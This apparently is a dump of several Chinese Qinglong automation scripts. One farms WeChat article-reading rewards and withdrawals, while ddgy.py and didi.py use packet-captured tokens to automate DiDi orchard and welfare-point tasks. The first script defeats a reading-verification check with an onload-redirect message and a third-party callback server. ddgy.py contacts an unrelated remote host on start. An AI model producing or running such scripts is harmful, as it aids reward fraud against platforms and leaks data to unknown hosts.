159 |         "User-Agent": "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5279 MMWEBSDK/20230805 MMWEBID/3850 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64",
160 |         "Cookie":f"gfsessionid={ck['ck']};"
161 |     }
162 |     response = ss.get(domain+"/read/info", headers=headers, data=get_sign())
163 |     try:
164 |         response = response.json()
165 |     except json.decoder.JSONDecodeError:
166 |         print(f"账号【{i+1}】请检查你的CK({ck['ck']})是否正确!")
167 |         return False
168 |     if response["code"] == 0:
169 |         remain = response["data"]["remain"]
170 |     else:
171 |         print(f'账号【{i+1}】获取用户信息失败: {response["message"]}')
172 |     if remain >= Limit*10000:
173 |         response = ss.get(domain+"/withdraw/wechat", headers=headers, data=get_sign()).json()
174 |         if response["code"] == 0:
175 |             print(f'账号【{i+1}】开始提现:{response["message"]}')
176 |         elif response["code"] == 1:
177 |             print(f'账号【{i+1}】开始提现:{response["message"]}')
178 |         else:
179 |             print(f'账号【{i+1}】未知错误:{response}')
180 |     else:
181 |         print(f'账号【{i+1}】当前余额为{remain} 未到达{Limit}元提现限制!')
182 | 
183 | # 微信推送模块
184 | def check_status(key,link,index):
185 |     if imei != None:
186 |         if ss.get("https://linxi-send.run.goorm.io").status_code ==200:
187 |             callback = "https://linxi-send.run.goorm.io"
188 |         else:
189 |             callback = "https://auth.linxi.tk"
190 |         result = ss.post(callback+"/create_task",json={"imei":imei}).json()
191 |         uuid = result['uuid']
192 |         msg = result['msg']
193 |         # print(f"账号【{str(index+1)}】避免并发,本次延迟{index*2}秒,上传服务器[{result['msg']}]")
194 |         # time.sleep(index*2)
195 |         result = ss.get(f'https://wxpusher.zjiecode.com/demo/send/custom/{key}?content=检测文章-{name}%0A请在{tsleep}秒内完成验证!%0A%3Cbody+onload%3D%22window.location.href%3D%27{quote(link)}%27%22%3E').json()
196 |         print(f"账号【{str(index+1)}】微信消息推送[{msg}]: {result['msg']},等待40s完成验证!")
197 |         for i in range(10):
198 |             result = ss.get(callback+f"/select_task/{imei}/{uuid}").json()
199 |             if result['code'] == 200:
200 |                 print(f"账号【{str(index+1)}】服务器回调结果:{result['msg']}")
201 |                 result = ss.get(callback+f"/delete_task/{imei}/{uuid}").json()
202 |                 print(f"账号【{str(index+1)}】查询本次uuid结果:{result['msg']}")
203 |                 return True
204 |             time.sleep(4)
205 |         result = ss.get(callback+f"/delete_task/{imei}/{uuid}").json()
206 |         print(f"账号【{str(index+1)}】清除本次uuid结果:{result['msg']}")
207 |         return False
208 |     else:
209 |         # print(f"账号【{str(index+1)}】避免并发同一时间多个推送,本次推送延迟{index*2}秒")
210 |         # time.sleep(index*2)
211 |         result = ss.get(f'https://wxpusher.zjiecode.com/demo/send/custom/{key}?content=检测文章-{name}%0A请在{tsleep}秒内完成验证!%0A%3Cbody+onload%3D%22window.location.href%3D%27{quote(link)}%27%22%3E').json()
212 |         print(f"账号【{str(index+1)}】微信消息推送: {result['msg']},等待40s完成验证!")
213 |         #print(f"手动微信阅读链接: {link}")
214 |         time.sleep(30)
215 |         return True
216 | 
217 | 
218 | if __name__ == "__main__":
219 |     print(f"""██╗     ██╗███╗   ██╗██╗  ██╗██╗       ██████╗ ██████╗ ██╗   ██╗██████╗ 
220 | ██║     ██║████╗  ██║╚██╗██╔╝██║      ██╔════╝ ██╔══██╗╚██╗ ██╔╝██╔══██╗
221 | ██║     ██║██╔██╗ ██║ ╚███╔╝ ██║█████╗██║  ███╗██████╔╝ ╚████╔╝ ██║  ██║
222 | ██║     ██║██║╚██╗██║ ██╔██╗ ██║╚════╝██║   ██║██╔══██╗  ╚██╔╝  ██║  ██║
223 | ███████╗██║██║ ╚████║██╔╝ ██╗██║      ╚██████╔╝██████╔╝   ██║   ██████╔╝
224 | ╚══════╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝       ╚═════╝ ╚═════╝    ╚═╝   ╚═════╝ 
225 |     项目:{name}           BY-林夕          Verion: {version}(并发)
226 |     Github仓库地址: https://github.com/linxi-520/LinxiPush
227 | """)
228 |     if Btype == "青龙":
229 |         if os.getenv(linxi_token) == None:
230 |             print(f'青龙变量异常: 请添加{linxi_token}变量示例:{linxi_tips} 确保一行一个')
231 |             exit()
232 |         # 变量CK列表
233 |         ck_token = [json.loads(li) if "&" in line else json.loads(line) for line in os.getenv(linxi_token).splitlines() for li in line.split("&")]
234 |     else:
235 |         # 本地CK列表
236 |         ck_token = [
237 |             # 这里填写本地变量
238 |         ]
239 |         if ck_token == []:
240 |             print(f'本地变量异常: 请添加本地ck_token示例:{linxi_tips}')
241 |     print("==================回调服务器状态=================")
242 |     if imei:
243 |         print(f"[回调服务器]:已启用-[授权ID:{imei}]")
244 |     else:
245 |         print(f"[回调服务器]:未启用-[变量ID:{imei}]")
246 |     # 创建进程池
247 |     with Pool() as pool:
248 |         # 并发执行函数
249 |         print("==================获取账号信息=================")
250 |         pool.starmap(user_info, list(enumerate(ck_token)))
251 |         print("==================开始阅读文章=================")
252 |         pool.starmap(do_read, list(enumerate(ck_token)))
253 |         print("==================开始账号提现=================")
254 |         pool.starmap(get_money, list(enumerate(ck_token)))
255 |         print("==================开始账号提现=================")
256 | 
257 |         # 关闭进程池
258 |         pool.close()
259 |         # 等待所有子进程执行完毕
260 |         pool.join()
261 | 
262 |         # 关闭连接
263 |         ss.close
264 |         # 输出结果
265 |         print(f"================[{name}V{version}]===============")
266 | 


--------------------------------------------------------------------------------
/ddgy.py:
--------------------------------------------------------------------------------
  1 | """
  2 | 滴滴果园
  3 | 
  4 | 入口：微信小程序->滴滴出行->首页->领车费->免费领水果（中间左右滑动那里）
  5 | 或者：滴滴出行APP->免费领水果
  6 | 
  7 | 变量：
  8 | ddgyToken: 必填，账号token，多账号换行或者@隔开，格式uid&token。uid可随便填，主要是方便区分账号用
  9 | 
 10 | 
 11 | 青龙：捉任意game.xiaojukeji.com的包，把请求里面的D-Header-T用填到变量ddgyToken
 12 | uid其实不重要，只是用来区分token所属的账号，方便重写。手动捉包的话uid随便填都可以
 13 | 多账号换行或者@隔开，重写多账号直接换号捉就行
 14 | export ddgyToken='uid&token'
 15 | 
 16 | 
 17 | cron: 28 0,8,12,18 * * *
 18 | const $ = new Env('MK滴滴果园');
 19 | """
 20 | import requests
 21 | import re
 22 | import os
 23 | import time
 24 | response = requests.get("https://mkjt.jdmk.xyz/mkjt.txt")
 25 | response.encoding = 'utf-8'
 26 | txt = response.text
 27 | print(txt)
 28 | 
 29 | def main(uid,token):
 30 |     print('=================================')
 31 |     print(f'正在执行账号：{uid}')
 32 |     try:
 33 |         xx = cxguosju(uid,token)
 34 |         if xx != None:
 35 |             gs,jd,sd=xx
 36 |             print(f'种植状态：{gs}-目前进度：{jd}')
 37 |             try:
 38 |                 gsqd(uid,token)
 39 |             except Exception as e:
 40 |                 print('签到出错')
 41 | 
 42 |             try:
 43 |                 gscnlsd(uid,token)
 44 |             except Exception as e:
 45 |                 print('吹牛出错')
 46 | 
 47 |             try:
 48 |                 gskbx(uid,token)
 49 |             except Exception as e:
 50 |                 print('开宝箱出错')
 51 | 
 52 |             try:
 53 |                 print('--------做任务---------')
 54 |                 cxrw(uid,token)
 55 |                 print('--------做任务结束---------')
 56 |             except Exception as e:
 57 |                 print('有请，下一位')
 58 |         else:
 59 |             print('种树吧……')
 60 |     except Exception as e:
 61 |         print('有请，下一位')
 62 |     #查水滴浇水
 63 |     try:
 64 |         xx = cxguosju(uid,token)
 65 |         if xx != None:
 66 |             gs,jd,sd=xx
 67 |             print(f'目前水滴：{sd}')
 68 |             print(f'可浇水：{sd//10}次')
 69 |             for xx in range(sd//10):
 70 |                 print(f"第{xx+1}次浇水-目前进度：{jsjs(uid,token)}")
 71 | 
 72 |         else:
 73 |             print('种树吧……')
 74 |     except Exception as e:
 75 |         print('有请，下一位')
 76 | 
 77 | #吹牛领水滴
 78 | def gscnlsd(uid,token):
 79 |     print('----------')
 80 |     while True:
 81 |         time.sleep(3)
 82 |         data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"b7b5ec0727fb4c8ea230ed1243c61c79","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"f1bd01f08f3b42c682d3f1058ba838a8","xpsid_share":"","platform":1,"token":token,"game_id":23}
 83 |         tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/cow/goal',json=data).json()
 84 |         if tijiao['errmsg'] == 'success':
 85 |             print(f"吹牛成功目前有水滴：{tijiao['data']['water_wallet']['cur']}")
 86 |         else:
 87 |             data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"73fbe801e5844806a448836ca6eab7bd","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"57cac99225a3488da3bcf1c305e85b31","xpsid_share":"","platform":1,"token":token,"game_id":23}
 88 |             tijiao1 = requests.post(url='https://game.xiaojukeji.com/api/game/cow/award',json=data).json()
 89 |             print('水滴已满100，不吹牛了，领了')
 90 |             break
 91 |     print('----------')
 92 | 
 93 | #开宝箱
 94 | def gskbx(uid,token):
 95 |     data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"ea8dbe2ec151431ca5cd95b3665a000f","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"3fc9e729fb75452a8d194a7cfff7d236","xpsid_share":"","platform":1,"token":token,"game_id":23}
 96 |     tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/recCommonBox',json=data).json()
 97 |     if tijiao['errmsg'] == 'success':
 98 |         print(f"开宝箱成功获得：{tijiao['data']['rewards'][0]['num']}{tijiao['data']['rewards'][0]['name']}")
 99 | 
100 | #浇水
101 | def jsjs(uid,token):
102 |     data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2b331082770f4992a56178342bb879b2","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"00959013f7744e01b9fdbe879bf629bc","xpsid_share":"","is_fast":False,"water_status":0,"platform":1,"token":token,"game_id":23}
103 |     tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newWatering',json=data).json()
104 |     if tijiao['errmsg'] == 'success':
105 |         return tijiao['data']['tree_progress']
106 | 
107 | #签到
108 | def gsqd(uid,token):
109 |     data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"610983df35da43faae623d8a8b8d9710","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"8a334bb6264f4360ba8a917f65520d3b","xpsid_from":"f5232018989841e680abc96dae938ae4","xpsid_share":"","platform":1,"token":token,"game_id":23}
110 |     tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/sign',json=data).json()
111 |     if tijiao['errmsg'] == 'success':
112 |         print(f"签到获得：{tijiao['data']['rewards'][0]['num']}{tijiao['data']['rewards'][0]['name']}")
113 | 
114 | #查询任务、提交、领取
115 | def cxrw(uid,token):
116 | 	#查询
117 | 	tijiao = requests.get(url=f'https://game.xiaojukeji.com/api/game/mission/get?xbiz=240301&prod_key=didi-orchard&xpsid=3c88860da6f641f9ba7e19895874b5c6&dchn=078Je67&xoid=ce8cef18-738a-4a72-b1e2-63727ff0ad3f&xenv=wxmp&xspm_from=welfare-center.none.c1324.none&xpsid_root=89cbc350b4c3419f81f93db452b8a9b8&xpsid_from=91e8186b29ba491cad837e6a020963d5&xpsid_share=&game_id=23&loop=0&platform=1&token={token}').json()
118 | 	if tijiao['errmsg'] == 'success':
119 | 
120 | 		for i in tijiao['data']['missions']:
121 | 			#提交
122 | 			headers = {'Content-Type':'application/json;charset=UTF-8'}
123 | 			data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"3c88860da6f641f9ba7e19895874b5c6","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"91e8186b29ba491cad837e6a020963d5","xpsid_share":"","mission_id":i['id'],"game_id":23,"platform":1,"token":token}
124 | 			tijiao1 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/update',json=data,headers=headers).json()
125 | 			if tijiao1['errmsg'] == 'success':
126 | 				print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}：已完成")
127 | 			tijiao2 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/award',json=data,headers=headers).json()
128 | 			if tijiao2['errmsg'] == 'success':
129 | 				print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}：已领取")
130 | 	else:
131 | 		print(f'{uid}-登录错误')
132 | 
133 | #查询果树状态
134 | def cxguosju(uid,token):
135 | 	#查询
136 |     data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2f346355e5c2442c8e7a337cd7888b48","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"41e43325ea244de888ce9f965bffab32","xpsid_share":"","assist_type":0,"encode_uid":"","is_old_player":True,"platform":1,"token":token,"game_id":23}
137 |     tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newEnter',json=data).json()
138 |     if tijiao['errmsg'] == 'success':
139 |         for i in tijiao['data']['trees_cfg']:
140 | 
141 |             if i['tree_id'] == tijiao['data']['tree_info']['tree_id']:
142 |                 return i['desc'],tijiao['data']['tree_info']['tree_progress'],tijiao['data']['tree_info']['pack_water']
143 |     else:
144 |         print(f'{uid}-登录错误')
145 | 
146 | if __name__ == '__main__':
147 |     uid = 1
148 |     token = ""
149 |     if 'ddgyToken' in os.environ:
150 |         fen = os.environ.get("ddgyToken").split("@")
151 |         print(f'查找到{len(fen)}个账号')
152 |         print('==================================')
153 |         for duo in fen:
154 |             
155 |             uid,token = duo.split("&")
156 |             try:
157 |                 main(uid,token)
158 |                 print('============📣结束📣============')
159 |             except Exception as e:
160 |                 print('MK友情提示:系统性报错')
161 |     else:
162 |         print('不存在青龙变量，本地运行')
163 |         if uid == '' or token == '':
164 |             print('本地账号密码为空')
165 |             exit()
166 |         else:
167 |             try:
168 |                 main(uid,token)
169 |                 print('============📣结束📣============')
170 |             except Exception as e:
171 |                 print('MK友情提示:系统性报错')


--------------------------------------------------------------------------------
/didi.py:
--------------------------------------------------------------------------------
  1 | # !/usr/bin/python3
  2 | # -*- coding: utf-8 -*-
  3 | # @Time    : 2023/7/10 17:54
  4 | # @Author  : ziyou
  5 | # -------------------------------
  6 | # 参考了 一风一燕 的原脚本进行修改
  7 | # cron "32 10,13,15 * * *" script-path=xxx.py,tag=匹配cron用
  8 | # const $ = new Env('滴滴')
  9 | # 抓包获取 didi_jifen_token
 10 | # 手机抓包后，在手机点击，福利中心的明细，查看一次福利金明细后，搜索token=，token=xxxx&city，xxx便是 didi_jifen_token。
 11 | # 或者查看一次福利金明细后，查看URL，
 12 | # https://rewards.xiaojukeji.com/loyalty_credit/bonus/getWelfareUsage4Wallet?，后面的token=xxxx&city，xxx便是 didi_jifen_token。
 13 | # 主要功能：自动领取我的权益、福利金签到、瓜分福利金、领取完单返福利金...
 14 | # 滴滴
 15 | # export didi_jifen_token='9Op**__w==&9Op**__w==',多账号使用换行或&
 16 | # 青龙拉取命令 ql raw https://raw.githubusercontent.com/q7q7q7q7q7q7q7/ziyou/main/%E6%BB%B4%E6%BB%B4.py
 17 | 
 18 | import datetime
 19 | import os
 20 | import sys
 21 | import time
 22 | import requests
 23 | 
 24 | DIDI_JIFEN_TOKEN = []
 25 | 
 26 | didi_jifen_token = os.getenv("didi_jifen_token")
 27 | if didi_jifen_token:
 28 |     DIDI_JIFEN_TOKEN = didi_jifen_token.replace("&", "\n").split("\n")
 29 | 
 30 | 
 31 | class DiDi:
 32 |     LAT = '28.20055'  # 纬度
 33 |     LNG = '113.01907'  # 经度
 34 |     CITY_ID = 24  # 城市id
 35 | 
 36 |     def __init__(self, token, city_id=CITY_ID, lat=LAT, lng=LNG):
 37 |         self.token = token
 38 |         self.city_id = city_id
 39 |         self.lat = lat
 40 |         self.lng = lng
 41 |         self.today = datetime.datetime.now().strftime('%Y-%m-%d')  # 今天时间 例如：'2023-07-12'
 42 |         # 明天时间 例如：'2023-07-13'
 43 |         self.tomorrow = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d')
 44 |         self.activity_id_today = 0  # 今天的瓜分福利金的活动id 用于完成今天的瓜分福利金 需在14点之前
 45 |         self.task_id_today = 0  # 完成今天的瓜分福利金的任务id 用于完成今天的瓜分福利金 需在14点之前
 46 |         self.status_today = 0  # 显示今天的瓜分活动状态 1为待报名 2为已参加 3为已完成待发奖 4为已发奖 5为未参加
 47 |         self.activity_id_tomorrow = 0  # 明天瓜分福利金的活动id 用于报名明天的瓜分福利金
 48 |         self.status_tomorrow = 0  # 显示今天的瓜分活动状态 1为待报名 2为已参加 3为已完成待发奖 4为已发奖 5为未参加
 49 |         self.count_tomorrow = 0
 50 | 
 51 |     # 签到
 52 |     def check_in(self):
 53 |         url = f'https://ut.xiaojukeji.com/ut/welfare/api/action/dailySign'
 54 |         _json = {"token": self.token,
 55 |                  "lat": self.lat,
 56 |                  "lng": self.lng,
 57 |                  "platform": "na",
 58 |                  "env": '{}'}
 59 |         response = requests.post(url=url, json=_json)
 60 |         response_dict = response.json()
 61 |         # print(response_dict)
 62 |         if response_dict.get('errno') == 0:
 63 |             subsidy_amount = response_dict['data']['subsidy_state']['subsidy_amount']
 64 |             print(f"今日签到成功，获得{subsidy_amount}福利金")
 65 |             return
 66 |         if response_dict.get('errno') == 40009:
 67 |             print("今日福利金已签到，无需重复签到!")
 68 |             return
 69 |         print(f'福利金签到出错！ {response_dict}')
 70 | 
 71 |     # 获取瓜分活动ID
 72 |     def get_carve_up_action_id(self):
 73 |         url = f'https://ut.xiaojukeji.com/ut/welfare/api/home/init/v2'
 74 |         _json = {"token": self.token,
 75 |                  "lat": self.lat,
 76 |                  "lng": self.lng,
 77 |                  "platform": "na",
 78 |                  "env": '{}'}
 79 |         response = requests.post(url=url, json=_json)
 80 |         response_dict = response.json()
 81 |         # print(response_dict)
 82 |         divide_data = response_dict['data']['divide_data']['divide']
 83 | 
 84 |         today_data = divide_data[self.today]
 85 |         # print(today_data)
 86 |         self.activity_id_today, self.task_id_today, self.status_today = today_data['activity_id'], today_data[
 87 |             'task_id'], today_data['status']
 88 | 
 89 |         tomorrow_data = divide_data[self.tomorrow]
 90 |         # print(tomorrow_data)
 91 |         self.activity_id_tomorrow, self.status_tomorrow, self.count_tomorrow = tomorrow_data['activity_id'], \
 92 |             tomorrow_data['status'], tomorrow_data['button']['count']
 93 |         return True
 94 | 
 95 |     # 报名明天的瓜分福利金
 96 |     def apply_carve_up_action(self):
 97 |         url = f'https://ut.xiaojukeji.com/ut/welfare/api/action/joinDivide'
 98 |         _json = {"token": self.token,
 99 |                  "lat": self.lat,
100 |                  "lng": self.lng,
101 |                  "platform": "na",
102 |                  "env": '{}',
103 |                  "activity_id": self.activity_id_tomorrow,
104 |                  "count": self.count_tomorrow,
105 |                  "type": "ut_bonus"}
106 |         response = requests.post(url=url, json=_json)
107 |         response_dict = response.json()
108 |         # print(response_dict)
109 |         if response_dict.get("errno") == 0:
110 |             if response_dict.get("data", {}).get("result") is True:
111 |                 print("报名今日打卡瓜分活动成功！")
112 |                 return
113 |         print(f'报名今日打卡瓜分活动失败！ {response_dict}')
114 | 
115 |     # 完成今天的瓜分福利金 需在14点之前
116 |     def complete_carve_up_action(self):
117 |         url = f'https://ut.xiaojukeji.com/ut/welfare/api/action/divideReward'
118 |         _json = {"token": self.token,
119 |                  "lat": self.lat,
120 |                  "lng": self.lng,
121 |                  "platform": "na",
122 |                  "env": '{}',
123 |                  "activity_id": self.activity_id_today,
124 |                  "task_id": self.task_id_today}
125 |         response = requests.post(url=url, json=_json)
126 |         response_dict = response.json()
127 |         # print(response_dict)
128 |         if response_dict.get("errno") == 0:
129 |             if response_dict.get("data", {}).get("result") is True:
130 |                 print("完成今日打卡瓜分活动成功！")
131 |                 return
132 |         print(f'完成今日打卡瓜分活动失败！ {response_dict}')
133 | 
134 |     # 查询当前福利金数量
135 |     def get_info(self):
136 |         url = "https://rewards.xiaojukeji.com/loyalty_credit/bonus/getWelfareUsage4Wallet"
137 |         params = {"token": self.token, "city_id": self.city_id}
138 |         response = requests.get(url=url, params=params)
139 |         response_dict = response.json()
140 |         # print(response_dict)
141 |         balance = response_dict['data']['balance']
142 |         return balance
143 | 
144 |     # 查询权益详情
145 |     def inquire_benefits_details(self):
146 |         url = "https://member.xiaojukeji.com/dmember/h5/privilegeLists"
147 |         params = {"token": self.token, "city_id": self.city_id}
148 |         time.sleep(0.5)
149 |         response = requests.get(url=url, params=params)
150 |         response_dict = response.json()
151 |         # print(response_dict)
152 |         privileges_list = response_dict.get('data', {}).get('privileges', [])  # 我的权益列表
153 |         return privileges_list
154 | 
155 |     # 领取 周周领券 活动的优惠券
156 |     def receive_level_gift(self):
157 |         privileges_list = self.inquire_benefits_details()
158 |         for privileges in privileges_list:
159 |             if privileges.get('name') == '周周领券':
160 |                 coupons_list = privileges.get('level_gift', {}).get('coupons', [])
161 |                 for coupons in coupons_list:
162 |                     status = coupons.get('status')  # 0为未领取，1为已使用，2为未使用
163 |                     if status == 0:
164 |                         batch_id = coupons.get('batch_id')
165 |                         # print(batch_id)
166 |                         print(f"开始领取 {coupons.get('remark')}{coupons.get('coupon_title')}")
167 |                         url = f"https://member.xiaojukeji.com/dmember/h5/receiveLevelGift?xbiz=&prod_key=wyc-vip-level&xpsid=&dchn=&xoid=&xenv=passenger&xspm_from=&xpsid_root=&xpsid_from=&xpsid_share=&token={self.token}&batch_id={batch_id}&env={{}}&gift_type=1&city_id={self.city_id}"
168 |                         time.sleep(0.5)
169 |                         response = requests.get(url=url)
170 |                         response_dict = response.json()
171 |                         print(f'{response_dict}')
172 |                         if response_dict.get('errno') == 0:
173 |                             print('领取成功！')
174 |                             continue
175 |                         print(f'领取出错！ {response_dict}')
176 |                 return
177 | 
178 |     # 膨胀 周周领券 活动的优惠券
179 |     def swell_coupon(self):
180 |         privileges_list = self.inquire_benefits_details()  # 我的权益列表
181 |         for privileges in privileges_list:
182 |             if privileges.get('name') == '周周领券':
183 |                 coupons_list = privileges.get('level_gift', {}).get('coupons', [])
184 |                 for coupons in coupons_list:  # 膨胀
185 |                     swell_status = coupons.get('swell_status')  # 0代表不能膨胀，1代表能膨胀,2代表已膨胀
186 |                     # print(swell_status)
187 |                     if swell_status == 1:
188 |                         print(f"开始膨胀 {coupons.get('remark')}{coupons.get('coupon_title')}")
189 |                         batch_id = coupons.get('batch_id')
190 |                         coupon_id = coupons.get('coupon_id')
191 |                         url = f'https://member.xiaojukeji.com/dmember/h5/swell_coupon?city_id={self.city_id}'
192 |                         _json = {"token": self.token,
193 |                                  "batch_id": batch_id,
194 |                                  "coupon_id": coupon_id,
195 |                                  "city_id": self.city_id}
196 |                         time.sleep(0.5)
197 |                         response = requests.post(url=url, json=_json)
198 |                         response_dict = response.json()
199 |                         print(response_dict)
200 |                         if response_dict.get('error') == 0:
201 |                             if response_dict.get('data', {}).get('is_swell') is True:
202 |                                 print('膨胀成功！')
203 |                                 continue
204 |                             print('膨胀失败！')
205 |                             continue
206 |                         print(f'膨胀出错！ {response_dict}')
207 |                 return
208 | 
209 |     # 领取行程意外险
210 |     def receive_travel_insurance(self):
211 |         privileges_list = self.inquire_benefits_details()  # 我的权益列表
212 |         for privileges in privileges_list:
213 |             if privileges.get('name') == '行程意外险':
214 |                 # print(privileges)
215 |                 need_received = privileges.get('need_received')
216 |                 if need_received == 1:  # 0为未领取，1为已领取
217 |                     print('已领取了！')
218 |                     return
219 |                 if need_received == 0:  # 0为未领取，1为已领取
220 |                     url = 'https://member.xiaojukeji.com/dmember/h5/bindPrivilege'
221 |                     _json = {"token": self.token, "type": 3}
222 |                     time.sleep(0.5)
223 |                     response = requests.post(url=url, json=_json)
224 |                     response_dict = response.json()
225 |                     # print(response_dict)
226 |                     if response_dict.get('errno') == 0:
227 |                         print('领取成功！')
228 |                         return
229 |                     print(f'领取出错！ {response_dict}')
230 |                     return
231 |                 print(f'出现未知情况！ {need_received =} {privileges}')
232 |                 return
233 | 
234 |     # 领取周三折上折权益
235 |     def receive_memberday_discount_multi(self):
236 |         privileges_list = self.inquire_benefits_details()  # 我的权益列表
237 |         for privileges in privileges_list:
238 |             if privileges.get('name') == '周三折上折':
239 |                 # print(privileges)
240 |                 need_received = privileges.get('need_received')
241 |                 if need_received == 1:  # 0为未领取，1为已领取
242 |                     print('已领取了！')
243 |                     return
244 |                 if need_received == 0:  # 0为未领取，1为已领取
245 |                     url = 'https://member.xiaojukeji.com/dmember/h5/receiveMemberDayDiscount'
246 |                     _json = {"token": self.token, "privilege_type": 1}
247 |                     time.sleep(0.5)
248 |                     response = requests.post(url=url, json=_json)
249 |                     response_dict = response.json()
250 |                     # print(response_dict)
251 |                     if response_dict.get('errno') == 0:
252 |                         print('领取成功！')
253 |                         return
254 |                     print(f'领取出错！ {response_dict}')
255 |                     return
256 |                 print(f'出现未知情况！ {need_received =} {privileges}')
257 |                 return
258 | 
259 |     # 领取 气泡奖励 完单返福利金
260 |     def receive_wyc_order_finish(self):
261 |         url = 'https://ut.xiaojukeji.com/ut/welfare/api/home/getBubble'
262 |         _json = {"token": self.token,
263 |                  "lat": self.lat,
264 |                  "lng": self.lng,
265 |                  "platform": "na",
266 |                  "env": "{}"}
267 |         # time.sleep(0.5)
268 |         response = requests.post(url=url, json=_json)
269 |         response_dict = response.json()
270 |         # print(response_dict)
271 |         bubble_list = response_dict.get('data', {}).get('bubble_list', [])
272 |         # print(bubble_list)
273 |         for bubble in bubble_list:
274 |             if bubble.get('pre_content') == '完单返':
275 |                 # print(bubble)
276 |                 cycle_id = bubble.get('cycle_id')
277 |                 reward_count = bubble.get('reward_count')
278 |                 url = 'https://ut.xiaojukeji.com/ut/welfare/api/action/clickBubble'
279 |                 _json = {"token": self.token,
280 |                          "lat": self.lat,
281 |                          "lng": self.lng,
282 |                          "platform": "na",
283 |                          "env": "{}",
284 |                          "cycle_id": cycle_id, "bubble_type": "wyc_order_finish"}
285 |                 time.sleep(0.5)
286 |                 response = requests.post(url=url, json=_json)
287 |                 response_dict = response.json()
288 |                 # print(response_dict)
289 |                 if response_dict.get('errno') == 0:
290 |                     print(f'领取成功，获得{reward_count}福利金！')
291 |                     return
292 |                 print(f'领取出错！ {response_dict}')
293 |                 return
294 | 
295 |     def main(self):
296 |         character = '★★'
297 |         print(f'{character}当前福利金数量为：{self.get_info()}')
298 |         print(f'{character}开始进行福利金签到！')
299 |         self.check_in()
300 |         if self.get_carve_up_action_id():
301 |             print(f'{character}开始完成今日瓜分活动！')
302 |             if self.status_today == 2:  # 1为待报名，2为待完成，3为已完成，4为已领取
303 |                 self.complete_carve_up_action()  # 完成瓜分福利金 需在14点之前
304 |             elif self.status_today == 3:
305 |                 print('今天已完成瓜分活动！')
306 |             elif self.status_today == 4:
307 |                 print('今天已领取瓜分活动奖励！')
308 |             else:
309 |                 print('完成失败，可能昨日未报名！')
310 |             print(f'{character}开始报名明日瓜分活动！')
311 |             if self.status_tomorrow == 1:  # 1为待报名，2为待完成，3为已完成，4为已领取
312 |                 self.apply_carve_up_action()  # 报名瓜分福利金
313 |             elif self.status_tomorrow == 2:
314 |                 print('今天已经报名参加瓜分明天的福利金了！')
315 |             else:
316 |                 print('报名参加瓜分明天的福利金出现未知错误！')
317 |         print(f'{character}开始领取 周周领券 活动的优惠券')
318 |         self.receive_level_gift()
319 |         print(f'{character}开始膨胀 周周领券 活动的优惠券')
320 |         self.swell_coupon()
321 |         print(f'{character}开始领取行程意外险')
322 |         self.receive_travel_insurance()
323 |         print(f'{character}开始领取周三折上折权益')
324 |         self.receive_memberday_discount_multi()
325 |         print(f'{character}开始领取气泡奖励')
326 |         self.receive_wyc_order_finish()
327 |         print(f'{character}当前福利金数量为：{self.get_info()}')
328 | 
329 | 
330 | # 主程序
331 | def main(ck_list):
332 |     if not ck_list:
333 |         print('没有获取到账号！')
334 |         return
335 |     print(f'获取到{len(ck_list)}个账号！')
336 |     for index, ck in enumerate(ck_list):
337 |         print(f'*****第{index + 1}个账号*****')
338 |         DiDi(ck).main()
339 |         print('')
340 | 
341 | 
342 | if __name__ == '__main__':
343 |     main(DIDI_JIFEN_TOKEN)
344 |     sys.exit()
345 | 


--------------------------------------------------------------------------------
/dls.py:
--------------------------------------------------------------------------------
 1 | """
 2 | 杜蕾斯会员中心小程序
 3 | export dlstoken='你抓包的Access-Token'
 4 | 变量名:dlstoken
 5 | 变量值:https://durex.ixiliu.cn 请求头里的Access-Token
 6 | 多账号#隔开
